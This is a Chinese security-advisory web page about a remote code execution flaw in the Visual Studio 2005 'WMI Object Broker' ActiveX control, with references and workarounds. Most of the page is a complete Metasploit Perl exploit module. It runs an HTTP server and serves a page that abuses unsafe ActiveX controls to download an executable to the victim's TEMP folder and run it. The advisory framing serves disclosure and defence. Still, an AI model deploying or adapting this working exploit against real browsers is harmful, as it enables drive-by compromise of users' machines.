网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 安全漏洞 > Microsoft > Microsoft Visual Studio “WMI Object Broker”控件代码执  

Microsoft Visual Studio “WMI Object Broker”控件代码执

2006-11-08  作者:网管整理  来源:bitsCN.com  点评 投稿 收藏


涉及程序:
Microsoft Visual Studio “WMI Object Broker”
 
描述:
Microsoft Visual Studio “WMI Object Broker”控件代码执行漏洞
 
详细:
Microsoft Visual Studio是微软公司的开发工具套件系列产品,是一个基本完整的开发工具集,包括了软件整个生命周期中所需要的大部分工具。

Visual Studio的"WMI Object Broker"控件在例程的创建和处理上存在漏洞,远程攻击者可能利用此漏洞在用户机器上执行任意恶意代码。

Visual Studio所捆绑的WMI Object Broker ActiveX控件允许创建系统上已有的ActiveX控件例程。以这种方式创建的ActiveX对象会绕过ActiveX安全限制,如忽略kill bit和safe for scripting选项。如果用户受骗浏览了特制HTML文档的话,就可能导致以该用户的权限执行任意代码。

<*来源:H D Moore (hdm@metasploit.com)

链接:(http://www.microsoft.com/technet/security/advisory/927709.mspx?pf=true
 (http://www.kb.cert.org/vuls/id/854856
 (http://secunia.com/advisories/22603/
*>

受影响系统:
Microsoft Visual Studio 2005
网管联盟bitsCN_com

 
 
攻击方法:
警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::ie_createobject;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;

my $advanced =
{
 'Gzip' => [1, 'Enable gzip content encoding'],
 'Chunked' => [1, 'Enable chunked transfer encoding'],
};

my $info =
{
 'Name' => 'Internet Explorer COM CreateObject Code Execution',
 'Version' => '$Rev: 4005 $',
网管u家u.bitsCN.com

 'Authors' =>
  [
 'H D Moore <hdm [at] metasploit.com>',
  ],

 'Description' =>
  Pex::Text::Freeform(qq{
 This module exploits a generic code execution vulnerability in Internet
 Explorer by abusing vulnerable ActiveX objects.
}),

 'Arch' => [ 'x86' ],
 'OS' => [ 'win32', 'winxp', 'win2003' ],
 'Priv' => 0,

 'UserOpts' =>
  {
 'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080],
 'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
  },

 'Payload' =>
  {
 'Space' => 4000,
 'Keys' => ['-bind'],
  },
 'Refs' =>
  [
 ['MSB', 'MS06-014']
  ],

 'DefaultTarget' => 0, 网管网www_bitscn_com
 'Targets' =>
  [
 [ 'Automatic' ],

 # Patched
 [ 'MS06-014 - RDS.DataControl', ''],

 # Not marked as safe
 [ 'UNKNOWN - RDS.DataSpace', ''],

 # Part of the WMI SDK, currently unpatched
 [ 'UNKNOWN - WMIScriptUtils.WMIObjectBroker2.1', ''],

 # These are restricted by site (might be exploitable via DNS spoofing + SSL fun)
 [ 'UNKNOWN - SoftwareDistribution.MicrosoftUpdateWebControl.1', ''],
 [ 'UNKNOWN - SoftwareDistribution.WebControl.1', ''],

 # Visual Studio components, not marked as safe
 [ 'UNKNOWN - VsmIDE.DTE', ''],
 [ 'UNKNOWN - DExplore.AppObj.8.0', ''],
 [ 'UNKNOWN - VisualStudio.DTE.8.0', ''],
 [ 'UNKNOWN - Microsoft.DbgClr.DTE.8.0', ''],
 [ 'UNKNOWN - VsaIDE.DTE', ''],
 
 #
 # The controls below can launch the "installing component" dialogs...
网管bitscn_com

 #
 
 # Not marked as safe
 [ 'UNKNOWN - Business Object Factory ', ''],
 
 # Not marked as safe
 [ 'UNKNOWN - Outlook Data Object', ''],

 # Found exploitable in the wild (no details)
 [ 'UNKNOWN - Outlook.Application', ''],

  ],

 'Keys' => [ 'ie' ],

 'DisclosureDate' => '',
};

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}

sub Exploit
{
 my $self = shift;

 my $server = IO::Socket::INET->new(
 LocalHost => $self->GetVar('HTTPHOST'),
 LocalPort => $self->GetVar('HTTPPORT'),
 ReuseAddr => 1,
 Listen => 1,
 Proto => 'tcp'
  );
 my $client;
中国网管联盟bitsCN.com
 # Did the listener create fail?
 if (not defined($server)) {
 $self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
 return;
 }

 my $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ?
  Pex::Utils::SourceIP('1.2.3.4') :
  $self->GetVar('HTTPHOST');

 $self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");

 while (defined($client = $server->accept())) {
 $self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
 }

 return;
}

sub HandleHttpClient
{
 my $self= shift;
 my $fd = shift;
 my $shellcode = my $shellcode = $self->GetVar('EncodedPayload')->Payload;
 
 # Set the remote host information

网管u家u.bitscn@com


 my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);

 # Read the HTTP command
 my ($cmd, $url, $proto) = split / /, $fd->RecvLine(10);

 # Read the HTTP headers
 my $headers;
 while ( (my $line = $fd->RecvLine(10))) {
 $headers .= $line;
 last if $line eq "\r\n";
 }

 if ($url =~ /\?payload/) {
 $self->PrintLine("[*] HTTP Client $rhost:$rport asked for payload...");
 my $content = Pex::Utils::CreateWin32PE($shellcode, 'ie_createobject');
 $fd->Send($self->BuildResponse($content, 'application/octet-stream'));
 $fd->Close;
 return;
 }
 $self->PrintLine("[*] HTTP Client $rhost:$rport asked for exploit page...");
 $fd->Send($self->BuildResponse($self->GenerateHTML(), 'text/html'));
 $fd->Close;
 return;
网管论坛bbs_bitsCN_com

}

sub GenerateHTML {
 my $self = shift;
 my $target_idx = $self->GetVar('TARGET');
 my $objects = "";
 
 if ($target_idx == 0) {
 foreach my $target (@{ $self->Targets }) {
  if ($target->[1]) {
 $objects .= "'".$target->[1]."',";
  }
 }
 } else {
 my $target = $self->Targets->[$target_idx];
 $objects .= "'".$target->[1]."',";
 }

 my $data =
qq#
<html><head><title></title>
<script language="javascript">

function Log(m) {
 var log = document.createElement('p');
 log.innerHTML = m;
 document.body.appendChild(log);
 
}

function CreateO(o, n) {
 var r = null;
 
 try { eval('r = o.CreateObject(n)') }catch(e){} 网管下载dl.bitscn.com
 
 if (! r) {
 try { eval('r = o.CreateObject(n, "")') }catch(e){}
 }
 
 if (! r) {
 try { eval('r = o.CreateObject(n, "", "")') }catch(e){}
 }

 if (! r) {
 try { eval('r = o.GetObject("", n)') }catch(e){}
 }
 
 if (! r) {
 try { eval('r = o.GetObject(n, "")') }catch(e){}
 }
 
 if (! r) {
 try { eval('r = o.GetObject(n)') }catch(e){}
 }
 
 return(r);
}

function Go(a) {
 Log('Creating helper objects...');
 var s = CreateO(a, "WScript.Shell");
 var o = CreateO(a, "ADODB.Stream");
 var e = s.Environment("Process");
 
 Log('Ceating the XMLHTTP object...');
 var url = document.location + '?payload';
 var xml = null;

网管网www_bitscn_com


 var bin = e.Item("TEMP") + "metasploit.exe";
 var dat;
 
 try { xml=new XMLHttpRequest(); }
 catch(e) {
 try { xml = new ActiveXObject("Microsoft.XMLHTTP"); }
 catch(e) {
  xml = new ActiveXObject("MSXML2.ServerXMLHTTP");
 }
 }
 
 if (! xml) return(0);

 Log('Downloading the payload...');
 xml.open("GET", url, false)
 xml.send(null);
 dat = xml.responseBody;

 Log('Writing the payload to disk...');
 o.Type = 1;
 o.Mode = 3;
 o.Open();
 o.Write(dat);
 o.SaveToFile(bin, 2);

 Log('Executing the payload...');
 s.Run(bin,0);
}

function Exploit() {
 var i = 0;
 var t = new Array($null);
 
 while (t[i]) {
 var a = null; 网管联盟bitsCN_com
 
 if (t[i].substring(0,1) == '{') {
  a = document.createElement("object");
  a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1));
 } else {
  try { a = new ActiveXObject(t[i]); } catch(e){}
 }
 
 if (a) {
  try {
 var b = CreateO(a, "WScript.Shell");
 if (b) {
 Log('Loaded ' + t[i]);
 Go(a);
 return(0);
 }
  } catch(e){}
 }
 i++;
 }
 Log('Exploit failed.');
}
</script>
</head>
<body onload='Exploit()'>
<p>Initializing...</p>
</body>
</html>
#;
}

sub BuildResponse {
 my ($self, $content, $type) = @_;
 $type ||= 'text/plain';
网管网www.bitscn.com


 my $response =
  "HTTP/1.1 200 OK\r\n" .
  "Content-Type: $type\r\n";

 if ($self->GetVar('Gzip')) {
 $response .= "Content-Encoding: gzip\r\n";
 $content = $self->Gzip($content);
 }
 if ($self->GetVar('Chunked')) {
 $response .= "Transfer-Encoding: chunked\r\n";
 $content = $self->Chunk($content);
 } else {
 $response .= 'Content-Length: ' . length($content) . "\r\n" .
 "Connection: close\r\n";
 }

 $response .= "\r\n" . $content;

 return $response;
}

sub Chunk {
 my ($self, $content) = @_;

 my $chunked;
 while (length($content)) {
 my $chunk = substr($content, 0, int(rand(10) + 1), '');
 $chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";

网管u家u.bitsCN.com


 }
 $chunked .= "0\r\n\r\n";

 return $chunked;
}

sub Gzip {
 my $self = shift;
 my $data = shift;
 my $comp = int(rand(5))+5;

 my($wtr, $rdr, $err);

 my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
 print $wtr $data;
 close ($wtr);
 local $/;

 return (<$rdr>);
}

1;
 
 
解决方案:
临时解决方法:

* 禁止在Internet Explorer中运行WMI Scripting控件;
* 配置Internet Explorer在运行活动脚本和ActiveX控件前提示,或禁止在Internet和本地intranet区中运行活动脚本和ActiveX控件;
* 将Internet和本地intranet区设置为“高”。

厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

(http://www.microsoft.com/technet/security/
 


TAGs   控件   代码   my   the   if   var   content   UNKNOWN   return   catch      
 上一篇:Microsoft Windows NAT帮助程序远程拒绝服务漏洞   下一篇:Microsoft .NET Framework请求过滤绕过漏洞
Microsoft Visual Studio “WMI Object Broker”控件代码执 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: